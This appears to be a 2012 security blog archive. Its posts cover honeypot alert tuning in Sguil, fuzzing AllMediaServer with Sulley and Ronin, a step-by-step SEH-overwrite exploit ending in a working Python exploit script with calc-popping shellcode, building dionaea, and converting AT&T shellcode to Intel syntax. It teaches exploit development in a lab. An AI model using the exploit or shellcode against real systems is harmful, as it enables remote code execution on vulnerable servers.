Thursday, August 2, 2012

Honeypot Rule Maintenance - autocat


I haven't received an alert about anyone successfully logging in, so I checked in on the honeypot. I opened the Sguil client and saw thousands of alerts, mostly all of them being scans. I found that really boring to look at. I don't want to see them in my Sguil client because I'm not going to take any action on it. I will only be taking action when there is a successful compromise; however, I will want to know about the intruder's reconnaissance and scanning techniques after they have succeeded. I chose to use the autocat feature in Sguil. This feature will continue to log all the alerts generated by the Snort IDS and the Emerging Threats ruleset to the database, but it will not show up in the console. Later, I will perform queries in the Sguil client against the database and I will be able to see what other rules the attacker triggered.

The file is located at /etc/nsm/securityonion/autocat.conf and I just edited it with my favorite text editor, "vi". The format is described in the autocat.conf file:


#   <erase time>||<sensorName>||<src_ip>||<src_port>||<dst_ip>||<dst_port>||<proto>||<sig msg>||<cat value>


The following autocat entries were added because they were not indicative of a compromise and they had a high count. The autocat.conf file understands regular expressions so you'll see at the very last line, I chose to autocat every signature that beings with "ET SCAN".



none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%^URL||1
none||ANY||ANY||ANY||ANY||ANY||ANY||ET POLICY MS Remote Desktop Administrator Login Request||1
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%^ET COMPROMISED Known Compromised or Hostile Host Traffic TCP||1
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%^ET RBN Known Russian Business Network IP TCP||1
none||ANY||ANY||ANY||ANY||ANY||ANY||ET DROP Dshield Block Listed Source||1
none||ANY||ANY||ANY||ANY||ANY||ANY||ET POLICY RDP connection request||1
none||ANY||ANY||ANY||ANY||ANY||ANY||ET POLICY RDP disconnect request||1
none||ANY||ANY||ANY||ANY||ANY||ANY||ET DOS Microsoft Remote Desktop (RDP) Syn then Reset 30 Second DoS Attempt||1
none||ANY||ANY||ANY||ANY||ANY||ANY||ET TROJAN MS Terminal Server User A Login, possible Morto inbound||1
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%^ET SCAN||1

After saving the file, don't forget to:

$ nsm_server_ps-restart

(or kill -1 the lowest sguild PID)

Tuesday, July 31, 2012

Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver

Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver



As I mentioned in the previous article that I wanted to do a write up on using different fuzzers and debuggers for the allmediaserver. If you haven't read the previous article you might want to check it out.  http://5x5sec.blogspot.com/2012/07/looking-into-exploitation-of.html . Ok lets dive in and see what we get.

Fuzzing with Sulley

First things first you should check out the piece about getting sulley setup. http://5x5sec.blogspot.com/2012/02/basic-sulley-fuzzing-with-linux-host.html . If you are going to run the fuzzing from a Linux box pay close attention to the section around "sulley/pedrpc.py diff" . This piece is crucial to gettting the fuzzing running from linux to windows. Once you have Sulley installed lets set up the fuzzing files.

This is going to be a simple fuzz script that is just going to do a simple HTTP fuzzing. The reason is that I haven't dove into the communication protocol that surrounds the allmediaserver but I am just taking a stab and see what happens.

The Fuzz file that I am using which I names  fuzz-all.py is this.

from sulley import *
from requests import httpall

sess  = sessions.session(session_filename="audits/http.session")
target = sessions.target("192.168.22.142", 888)
target.netmon = pedrpc.client("192.168.22.142", 26001)
target.procmon = pedrpc.client("192.168.22.142", 26002)
target.procmon_options = { "proc_name" : "mediaserver.exe" }

sess.add_target(target)
sess.connect(sess.root, s_get("HTTP"))
sess.fuzz()

Let's look and see that we are going to fuzz remote host 192.168.22.142, which you will change to be YOUR host, port 888 which the server is listening on. Also you can see that the netmon and procmon are listening on 26001 26002 which sulley will also connect to. You can also see that I am importing from httpall. This is a file that I created and that I placed in the ./requests folder named httpall.py.

 from sulley import *

s_initialize("HTTP")
s_group("verbs", values=["GET"])
if s_block_start("body", group="verbs"):
    s_string("AAAAA")
    s_static("\r\n\r\n")
s_block_end("body")

Great, now we have all the pieces to the puzzle from the remote side now lets get things fired up on the windows side.  The two pieces that you need to get running are the process monitor and the network monitor.  First make sure that the allmediaserver is running you can do a "netstat -an" and look for 888. Once you have verified that the server is indeed running, open a command prompt and navigate to the sulley install directory and issue:

python process_monitor.py -c c:\f.crash -p "mediaserver.exe"

This will start up the process monitor for the mediaserver.exe program. The next piece is that you need to start the network monitor by doing the same thing , open a command prompt and navigate to the sulley install dir then issue:

python network_monitor.py -d 0 -f "port 888" -P c:\sulley
You will probably need to change a few things such as the device that you are listening on and the location that you are going to store your pcaps. I was in a rush so I just used the default sulley dir.

Ok lets fuzz. From the remote system just issue "python fuzz-all.py" and you should start to see the magic happen.


Once we start the fuzzing we really don't have to wait too long and we see a break with an access violation!


Let's take a look at the web interface of sulley and see what we get.


As you can see we have the crash. As you can see that when we sent 6494 bytes the server crashed. If we click on the test case # we will get a more detailed view of the case of the crash.


As you can see we have an access violation in which we have ECX and EIP overwrite. CRASH!!

Fuzzing with Ronin

To get started with Ronin you need to get it installed. Since it isn't installed by default on backtrack or other distro's you will need to follow one of the guides here. http://ronin-ruby.github.com/docs/ . Why did I choose Ronin? Why not! So I am going to assume that you have gotten Ronin installed and are ready to get started. First lets make sure the allmediaserver is started as before and use immunity to attach to the mediaserver process with a ctrl+f1. Once verified we want to start fuzzing. Since I am just going to do a simple fuzz I am just going to fire up a pcap to watch the traffic.  I did this by:

tshark -i eth2 -x port 888
 Now that we have the listening going lets set the fuzzing. Again this is just a simple fuzz so I don't need anything fancy so I am going to set up a request file and call it request. Inside this file I am going to add a phrase to fuzz. This could be anything such as a GET PUSH , etc . I am simple going to use:

http://hi
now that I have the request file set I am going to start the fuzzing. This is simple by issuing:

./bin/ronin-fuzzer -i request -r hi:A*1-2000 -t 192.168.22.142:888
What I am going to do with this is take the request file and substitute the phrase "hi" with A's from 1 to 2000 of them. The Fuzzer is very fast and was having some issues so I had to make a change to the lib/ronin/ui/cli/commands/fuzzer.rb file and add a sleep time "sleep(2)" prior to the connection to slow the requests.
          def fuzz_network(string,index)
            sleep(2)
            print_debug "Connecting to #{@host}:#{@port} ..."


  This is what you will start to see.


 After some time you will come to this and we get a crash!


 As you can see that we have a crash at 1064. Why not 1072? Well from the template that we used you have to account for the extra "http://" at the beginning. Adding these up you get your 1072, and we are inline with exactly what we had in the previous post. I really like the simple fuzzer portion of Ronin  and could have easily created a more valid request file to be fuzzed but since I was going for speed and luck this is where I started. Now that we have fuzzed and got a break we can start to what is happening on the client.

Debugging with Immunity debugger

Now lets take a look at what has been happening on the client. As mentioned during the Ronin fuzzing you should have attached the Immunity debugger to the mediaserver.exe process and hit the run button. You should have started with something similiar to this.



Once we started to fuzz the using Ronin and we get a crash we should end with something similar to this "Access Violation" nice!


So we can see that we have an access violation and that we have "41414139" as you can see this is because it is trying to do "EDX-8" which gives us the "41414139". This also shows us that we have EDX overwrite but this is not as similar as the Sulley fuzz. lets give it a shift + f9 to pass the exception and we end up here with the ECX overwrite and EIP at "41414141". While we are here lets hit alt-S and take a look at the SEH chain and we can see "41414141".Nice.


Let's continue forward and throw a pattern at the server. First, lets restart the server then reattach the debugger to the process. Once this is set we can send the same pattern that we used in the previous post. We send the pattern and we get the pattern. This is where the magic happens.



We are going to use Mona.py . I suggest giving this project a look over since it makes everything so much easier. http://redmine.corelan.be/projects/mona . Great project. So I will assume that you have taken a moment to read the project and have mona installed. Since we are at the crash and we can see that we see the pattern in the SEH chain , we want to find the location of the offset. Mona does this easily by issuing "!mona findmsp".


As you can see it gives a plethora of information inlcuding the offset "1072" that we have the SEH overwrite and how much after we have overwritten. This matches up with what we have found doing the Ronin fuzzing. So let's test that out and send the A's B's and C's to see.


Again, reset the service attach the debugger and send the data. We get the crash and we look at the SEH chain and we see our "42424242" and "43434343"



Now I want to do one more thing with mona.py to demonstrate how awesome it is.  let's issue "!mona seh" . This will yield lots of valid pop pop ret  instructions that we can use for the construction of our exploit. So pick one that you find and give it a try. We will do the same again as our previous post and send A's then "\xcc" for the int3 and then the pop pop ret. We send the data and we get..INT3!!



 Now we are at the exploitation phase that you can choose to do what you want sending calc.exe or instructions to do something but that is up to you.  In the next post I will discuss using Ronin to exploit this service. Hopefully this time the post gets posted since this is the second write of this since I lost have for some reason:(  Thanks again to all the developers of the tools and techniques that I have demonstrated.

 

references:

http://ronin-ruby.github.com/
http://redmine.corelan.be/projects/mona
https://github.com/OpenRCE/sulley
http://immunityinc.com/products-immdbg.shtml




Tuesday, July 24, 2012

looking into the exploitation of allmediaserver

First off I wanted to say that the credit goes to the authors of the exploit that I am going to peer into.
             'Author'   =>
                    'motaz reda <motazkhodair[at]gmail.com>', # Original discovery
                    'modpr0be <tom[at]spentera.com>', # Metasploit module
                    'juan vazquez' # More improvement

Usually during the start of my day I usually do some exploit workouts just to keep fresh with just some simple exploits and methods. Sometimes I like to look into what makes other exploits tick and for some reason the allmediaserver exploit that came out a few days ago caught my eye. http://www.exploit-db.com/exploits/19857/ .

I am going to do a few things with this server just to figure out what makes it tick. I am going to go through the fuzzing , debugging with windbg and immunity, and the exploitation with custom scripts and Ronin.

This post is going to go through the a custom fuzz, debugging with windbg and custom script exploitation. The Following post will be with fuzzing tools, immunity debugger and Ronin.

First Things First


Lets get a copy of the software that is exploitable. Luckily this software is still available for download in the version that is exploitable. Once I got a copy of the software I ran it to test it out and see how it works and what everything is listening on. On preliminary  glance you can see the mediaserver is listening on 888.

Lets step back and take a look at the exploit code. http://www.exploit-db.com/exploits/19857/ . This is a metasploit module that is great since is breaks out the sections of code and makes exploitation of the service easy. I like to look deeper in the things that I exploit to see what is going on and why the exploit code is doing what it is doing. I am going to admit right now that I am not a Ruby dev, I code in Python but I can walk my way around Ruby.

Looking at the code you can see a few things the "ret" which is going to do a set of instructions , which it spells out. Also you can see other pieces such as some rop and the buidling of the rop. So looking at this it would seem a little complex so I am going to simplify it. let's fuzz.

So I am going to start with the fuzzing script that I used in the post where we attacked our custom app. http://5x5sec.blogspot.com/2011/02/in-beginning.html .
 I am going to guess and start fuzzing in a dumb manner meaning that I am not looking into the communication protocol and just attacking by sending some A's . I starting by sending A's in 20 bytes increments and we get a crash!

 
Great !!! Ok lets just narrow it down and make the code go in single byte increments since the crash really isn't that far out. So we make the change and relaunch and we get a crash again at 1072!


I reran again just for giggles and sure enough the same results, perfect.

Debugging

 Now that we have the crash lets look at the system that has crashed.  This is running on windows xp sp3 which is one of the options in the exploit file. I am not going to go into the setting up of windbg for debugging since there are many tutorials on setting it up. By using windbg you can see the crash.

we get to see that there is an access violation happening. Sweet and we can see why. The current instruction is doing an edx-8 and since we overwrote edx with 41414141 we get the 41414139 issue. This doesnt give us the whole picture yet. Let's look at the exception handling that is going on with !exchain.

So we can see that the seh error handling that will happen but lets look into this a little since we are getting "invalid exception stack" by dumping what is going on at that location "d 0226fd74".


Looking at this it seems just a little strange as you can see the 0a in the beginning if you look back at the fuzzing you can see that there is an 0a at the end of the fuzz. Could this be ours?? lets take a look and dump the location  minus 10  " d 0226fd74 - 10" .

Bingo! it was ours, we get our 41's . So now this is the game. We have the control that we want but we need to confirm it all. lets throw 10 more 41's at the program and see what we get.

Sending and catching the bug we get to see in windbg the story.

We have overwritten the seh and next seh. This is great since now we just need to construct the exploit.


Exploitation

Now that I have proven to myself that we have control , I need to prove that I indeed do have the control. What I am going to do is the old give the seh and nseh a different value to see the separation. With this I am going to make the seh B's or x42's and the nseh 43's or C's . Lets do this so it will look like this "1072 A's + 4 B's + 4 C's " .

We can see the separation and that we are on track for some manual exploitation goodness. So lets not waste any more time and throw a pattern at it just for good measure even if we already know all the locations from the fuzzing and debugging but lets do it anyway. With this I sent a 2000 byte pattern and we get this.


We translate the information like this and we come to find out that again we are on track.


What we need next is a POP POP RET to go into the nseh overwrite location to get me to the seh. I am not going to go into why since there are numerous tutorials on why or about doing a SEH overwrite exploitation. Well maybe if people want to hear about it.  So lets look for a POP POP RET since we don't care about what kind I am going to look for "5e 5b c3" like this.

As you will see there are a lot of them so I am going to use the one that showed up last. There is no reason just because I am lazy. So what we are going to do is attack and make SEH "cc" so that we get an int3. If we get an int3 we know that our pop pop ret worked. fire away.

And we get..

Nice! We get our int3 and we can see that eip is pointing to our 4 cc's . So lets do a short jump 6 to jump over the code and land on an area that can add some shell code. So what I am going to do is change the SEH to "EB 06 90 90" for the jump and I am going to add some D's to show that we landed in our bed of D's .

So our code is going to look like this "1072 A's + jmp 6 + pop pop ret + DDDDD" or "AAAAAAA+ EB069090 + 5ec0d500 + DDDDDD"

We attack the debugger run it and set a break point at  00d5c05e so we can catch the execution as it happens. Now launch the exploit and watch the fun. We can see we hit the break and we get to step through the debugger and see the pop pop ret.

Now lets look at eip and see where we are.
woot! we are at the jmp +6 . Now lets step once more and look at eip and see if we are in the h0t bed of D's.
yes we are.

All that is left is to craft the exploit with some shell code which I used calc since getting calc is waaaaay cooler than getting root. So here is the code that I used.


Here is the C&P version

import socket
import sys

junk1 = "\x41" * 1072

seh =  "\xEB\x06\x90\x90"
nseh = "\x5e\xc0\xd5\x00"

# shellcode is 158 long
# this will pop calc.exe on the remote system
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

evil = junk1 + seh + nseh + "\x90" *10 + shellcode

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.22.142', 888))
s.send(evil +'\r\n')
s.close



this is what I got!




So as you can see this was just a simple SEH overwrite. I am still not sure why this caught my attention to work through but it did and I am glad since I enjoy just looking into the exploits that happen and are our there. Next like I mentioned I am going to use other tools including sulley and Ronin to accomplish the same results. why? why not!






Saturday, June 16, 2012

Honeypot Design

I worked with Micah Kays over the past couple weeks on building a full-interaction honeypot. I bought a Dell desktop off Craigslist (80gb hard drive, couple GB of RAM, don't remember anything else about it's stats) for $100. The hardware was cheap.

Here is how we instrumented it to prepare to perform Incident Response and Digital Forensics (DFIR) against it:

The base operating system is an installed version of Security Onion (http://securityonion.blogspot.com/). This provides a full Network Security Monitoring (NSM) suite complete with the following:

  • Snorby and Sguil, front ends for Snort that integrate the full NSM suite into a single interface
  • Snort/Suricata/Bro - different detection engines for alerting on possibly malicious network traffic
  • OpenFPC/daemonlogger - provides full-packet-capture for Snorby/Sguil, respectively
So we have the network all configured. To gain access to the host's memory, we are running virtualbox in debug mode (--debug). After the incident, we will use .pgmphystofile, which will dump the memory. We installed Volatility (https://www.volatilesystems.com/default/volatility) to be able to work with the memory image and assist in the investigation.

To perform investigations on the hard drive, we're going to try our hand at a post hogfly made (http://forensicir.blogspot.com/2008/01/virtualbox-and-forensics-tools.html).

Both the memory and hard drive acquisition techniques are minimally intrusive to changing the state of the machine. We are going to test the difference between using those two methods, and then adding triage-ir (http://code.google.com/p/triage-ir/) into the mix. Expect future blog posts with comparison notes, but note that traige-ir is meant to gather log files quickly as hard-drive acquisition is often not viable for -every- incident investigation.

What's the attack vector? I took a suggestion from a fellow coworker and we allowed FTP and RDP to be accessible from the outside, both configured with the same weak username and password combination.

To be alerted to when we need to start responding, Micah set up a rule looking for successful FTP logins. This isn't a valid server, so no one will be using it for legitimate reasons.

In the future, we'll be posting about the compromises that occurred and how to use the different DFIR tools to assist in the investigation process.

Do you have any suggestions on how to better instrument this honeypot, whether it's in the way we are monitoring/responding, or the attack vector?

Sunday, April 1, 2012

dionaea

demo.sguil.net is now equipped with dionaea. I wanted something interesting to look at when someone checks sguil out and didn't want to rerun the same pcap through snort.

Their instructions for building dionaea were for Ubuntu (http://dionaea.carnivore.it/#compiling), here's my notes on Fedora:

sudo yum install udns-devel libtool glib2-devel openssl-devel readline-devel sqlite-devel python-devel subversion git flex bison pkgconfig

Follow the rest of the instructions until you get to libnl. It's moved, and you can find the latest version at:

git://git.infradead.org/users/tgr/libnl.git
For libev, you can find the latest release at: http://dist.schmorp.de/libev/ - at the time of this post, it's at version 4.11 so I did 'wget http://dist.schmorp.de/libev/libev-4.11.tar.gz'.
If you're not running 64-bit, leave off "-L/usr/lib/x86_64-linux-gnu/" when configuring Python.
Cython is located at http://cython.org/#download. 0.15.1 is out, so I did 'wget http://cython.org/release/Cython-0.15.1.tar.gz'.
I skipped configuring OpenSSL. It caused problems and the IRC channel wouldn't tell me what you gain by compiling your own version.
Last, when I would run 'make' for dionaea, it would give me this error:
/usr/bin/ld: dionaea-connection.o: undefined reference to symbol 'X509_gmtime_adj'
/usr/bin/ld: note: 'X509_gmtime_adj' is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line
/lib/libcrypto.so.10: could not read symbols: Invalid operation

So I included /lib/libcrypto.so to be linked:

cd /home/jbc/dionaea/src && /bin/sh ../libtool --tag=CC   --mode=link  gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,--export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o  -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib libva
 1015  /bin/sh ../libtool --tag=CC   --mode=link  gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,--export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o  -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/libcrypto.so.10

Remember to replace 'cd /home/jbc/dionaea/src' with wherever you pulled dionaea via git from. 

Tuesday, February 28, 2012

Fun with shellcode further

I wanted to take a moment and circle back around on the previous post and explain a few things. The original post was meant to power through and get people thinking about how to use the code that you may find on the internet and put it into a binary that you can test locally.  Now I would like to explain some of my reasoning for the code that I used.

If you look back at the code that I used you will notice that it is very clean with minimal interpretation. By interpretation I mean between the syntax of AT&T and Intel assembler. This is where I meant I would explain this later when I mentioned that things looked odd and why I flipped the operands.  I am by far an expert when it comes to explaining the differences between the syntax of the two and have worked with and know several people that could explain this better but I will give it my hand.

One of the things that you will be able to point out whether or not the code is AT&T or Intel is that registers are prefixed with '%' and '$'. There are many , many other things that you need to understand the difference in how the translate and here are a few.


Source and destination for move and store
at&t = src, dest  |  intel = dest, src
designation of code
at&t= .code32 or .code16 | intel = BITS16 or BITS32
Comments
at&t = /* */   | intel = ;
appended instructions
at&t = pushb | intel = push byte

There are many other differences such as directive syntax, far jumps etc. All the differences are way beyond this blog and there is extensive documents around that I have listed in the references that you can see.

Now the previous differences explain why I did the flip also why I chose the code. If you look back there is little that you need to flip in fact only 13 times which is pretty low.

From the previous post I mentioned the one of the reasons for post was to show some of the issues that you may come across. Many, Many tutorials on assembly mention the use of "nasm" . As you can see you will come across some issues if that is all that you are familiar with. Now let us take some additional steps. So working the same example http://www.shell-storm.org/shellcode/files/shellcode-515.php . We now know that this is AT&T syntax, but what do we do with this? This is were the GNU Assembler (GAS) steps in. This assembler understands both Intel and AT&T syntax so lets just compile the code direct.

First we will remove the "<>" since these are not part of the assembly and remove all the other code:

# cat test.asm | cut -d '/' -f3 | sed 's/%//g' | sed 's/\$//g' | sed 's/<//g' | sed 's/>//g' > 515.s
Now that we have the code into pure AT&T syntax lets compile with "as" and get it working:


# as 515.s -o 515.o
# ld -o 515 515.o
 #./515
tcp        0      0 0.0.0.0:64713
Ok great, now we now how to compile AT&T syntax code and get a binary that we can execute. So many people are saying but I really , really , like Intel syntax how can I see the Intel syntax. With a compiled binary this is simple with gdb or objdump. 

With gdb you can load it into the debugger:

Load it up into the debugger:
 # gdb -q ./515

set the flavor that you want displayed :
(gdb) set disassembly-flavor intel

run then kill it and disas:

(gdb) run
Starting program: /root/blog/gas
^C
Program received signal SIGINT, Interrupt.
0x08048088 in _start ()
(gdb) disas


Dump of assembler code for function _start:
   0x08048054 <+0>:    push   0x66
   0x08048056 <+2>:    pop    eax
   0x08048057 <+3>:    xor    ebx,ebx
   0x08048059 <+5>:    push   ebx
   0x0804805a <+6>:    inc    ebx
   0x0804805b <+7>:    push   ebx
   0x0804805c <+8>:    push   0x2
   0x0804805e <+10>:    mov    ecx,esp
.
.

The second method that you can use which is much easier is using the "-M intel" switch of "objdump":

# objdump -d -M intel ./gas


08048054 <_start>:
 8048054:    6a 66                    push   0x66
 8048056:    58                       pop    eax
 8048057:    31 db                    xor    ebx,ebx
 8048059:    53                       push   ebx
 804805a:    43                       inc    ebx
 804805b:    53                       push   ebx


Great now we have 2 ways to display the Intel syntax of a AT&T compiled binary. So we have the final piece that I wanted to talk about. Code conversion without a compiled binary.

During my interwebz travels I have come across an old sed script that does a minor translation from Intel to AT&T . Now this doesn't help us entirely but it does bring what I like which is visibility. A lot of admins understand sed but maybe not understand C or python or perl so I decided to do a translation in reverse with the same script.

You can find the original sed script that will do that Intel to ATT here http://www.delorie.com/djgpp/mail-archives/djgpp/1995/06/06/05:48:34 . Below you will find a slimmed down sed script that will do the basics of what the previous sed script does just in reverse. Also this is not the most optimal method but I wanted to do a 1-1 comparison just for visibility. You can download it here as well att2intel.sed


#
#       @(#)as386.sed    1.1 - 86/11/17\
#       ^------This is from original----^
#
#    rev: 03022012
#
#  A typical way to use this sed script is:\
#
# tr "[A-Z]" "[a-z]" <infile | sed -f this-script >outfile\
#
##################################################
# spread everything out
##################################################

:cmpress
h
# this removes any comments in the file
s/;.*$//
# this squished some lines down
s/[ \t]*$/\t/
# add leading space on all lines
s/[ \t][ \t]*/\t/g
# this seperates lines with , : with space
s/\([][)(,:*/+-]\)/\t\1\t/g
s/[\t]?[\t]/\t0\t/g
s/?/_/g
s/[\t][\t]*/\t/g

:equate
s/^\([^\t]*\)[\t]equ[\t]\(.*\)[\t]$/#define\t:\t\1\t\2\t/

####################################################
# This is where I remove % and $ from the symbols
####################################################

:registr
s/[ \t]%e\([abcd]\)x[ \t]/\te\1x\t/g
s/[ \t]%\([abcd]\)\([hlx]\)[ \t]/\t\1\2\t/g
s/[ \t]%e\([ds]\)i[ \t]/\te\1i\t/g
s/[ \t]%\([ds]\)i[ \t]/\t\1i\t/g
s/[ \t]%e\([bs]\)p[ \t]/\te\1p\t/g
s/[ \t]%\([bs]\)p[ \t]/\t\1p\t/g
s/[ \t]%\([cdefgs]\)s[ \t]/\t\1s\t/g
s/\$//g
s/%//g
s/<//g
s/>//g

####################################################
# word ptrs
####################################################

s/[ \t]\([abcd]\)\([hlx]\)[ \t],[ \t]1x\([^   ]*\)[ \t]([ \t]\([^   ]*\)[ \t])/\tbyte\t[\t\4\t+\t0x\3\t]\t,\t\1\2/g

s/[ \t]e\([abs]\)\([xip]\)[ \t],[ \t]0x\([^   ]*\)[ \t]([ \t]\([^   ]*\)[ \t])/\tdword\t[\t\4\t+\t0x\3\t]\t,\te\1\2/g

s/[ \t]0x\([^  ]*\)[\t]([ \t]e\([abs]\)\([xip]\)[ \t])[ \t]*,[ \t]\([^   ]*\)/\t\4,\t[\te\2\3\t+\t0x\1\t]/g

/-\t0x/ s/[\t]e\([abs]\)\([xip]\)[\t],[\t]-[\t]0x\([^   ]*\)[ \t]([ \t]\([^   ]*\)[ \t])/\tdword\t[\t\4\t-\t0x\3\t]\t,\te\1\2/g

####################################################
# colapsing
####################################################

s/[\t]\([)(,*/+-]\)/\1/g
s/\([)(,*/+-]\)[ \t]*/\1/g
s/\[[\t]/\[/g
s/[\t]\]/\]/g
s/[\t]:/:/g

####################################################
# This normalizes everything
####################################################
:normliz
/:\t/ !s/^\([^\t;#][^\t]*\)/\t\1/
/:\t/ !s/^[\t]\([^\t+,-]*\)\([+-]\)/\t\1\t\2/g
/:\t/ !s/^[\t]\([^\t+,]*\)+%/\t\1\t+/g
/:\t/ s/^\([^\t]*\)[\t]\([^\t+,-]*\)\([+-]\)/\1    \2\t\3/g
/:\t/ s/^\([^\t]*\)[\t]\([^\t+,]*\)+%/\1\t\2\t+/g
s/+%\([^\t,]*\)/(\1)/g
s/[\t]+/\t/g
s/\([:,]\)+/\1/g

#####################################################
# changed below commented out what I dont know
#####################################################
:operand
/[.;#^+]/  !s/^    \([^\t]*\)[\t]\([^,]*\),\([^\t]*\)/\t\1\t\3,\2/
/[.;#]/ !s/^\([^\t][^\t]*\)[\t]\([^\t]*\)[\t]\([^,]*\),\([^\t]*\)/\1\t\2\t\4,\3/

######################################################
# I changed the to remove the b and x
#####################################################
:opcode
s/movl/mov/g
s/movb/mov/g
s/leal/lea/g
s/xorl/xor/g
s/popl/pop/g
s/pushl/push/g
s/pushw/push/g
s/incl/inc/g
s/xchgl/xchg/g
s/addl/add/g
s/cmpb/cmp/g

######################################################
# this shoves everything back
######################################################
:comment
s/[\t]*$//
# this shoves the whole thing back to the left
x
# this removed everything and left ;
/;/ !s/^.*$//
# this added another ;
s/\([\t]*\);/;\1;/
# this removed the ;
s/^[^;]*;//
# everythig is back
x
# this added a space between the lines
G
# then puts it back together removing lines spaces
s/\n//
# changes the ; at the end with a /
s/;/\//



Now that we can see that it works lets give it a shot on another script that we can find but I will go simple since I am sure it is missing a lot so we will use code at http://www.shell-storm.org/shellcode/files/shellcode-632.php a ping shellcode. So we will use the sed script and compile and see what happens but first we need to get the file into something workable. Like in the first post we need to strip the other junk out of the code. First lets copy just the assembly portion to a file named 632.asm then we will strip the code to what we need.
cat 632.asm | cut -d '/' -f3 > 632a.asm
This will leave us with a file named 632a.asm that will look like this:
 push   $0xb
 pop    %eax
 cltd
 push   %edx
 push   $0x20207473
 push   $0x6f686c61
 push   $0x636f6c20
 push   $0x676e6970
 mov    %esp,%esi
 push   %edx
 pushw  $0x632d
 mov    %esp,%ecx
 push   %edx
 push   $0x68732f2f
 push   $0x6e69622f
 mov    %esp,%ebx
 push   %edx
 push   %esi
 push   %ecx
 push   %ebx
 mov    %esp,%ecx
 int    $0x80
Now we have it in a working format that our script will be able to work with.

#tr "[A-Z]" "[a-z]" < 632a.asm | sed -f att2intel.sed > 632i.asm
# nasm -f elf 632i.asm
# ld -o 632i 632i.o
# ./632i
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.195 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.034 ms
We have Intel code execution from converted ATT syntax. I realize there are several limitations to the sed script but I just wanted to do a little 1-1 comparison and I will update the above script as I make some changes like you will see that I used clear tabs sometimes and [ \t] others and will convert to \t for copy paste ability.


Now that we have the scripts to convert back and forth we can really start to have fun. In our Arsenal we now have the ability to:

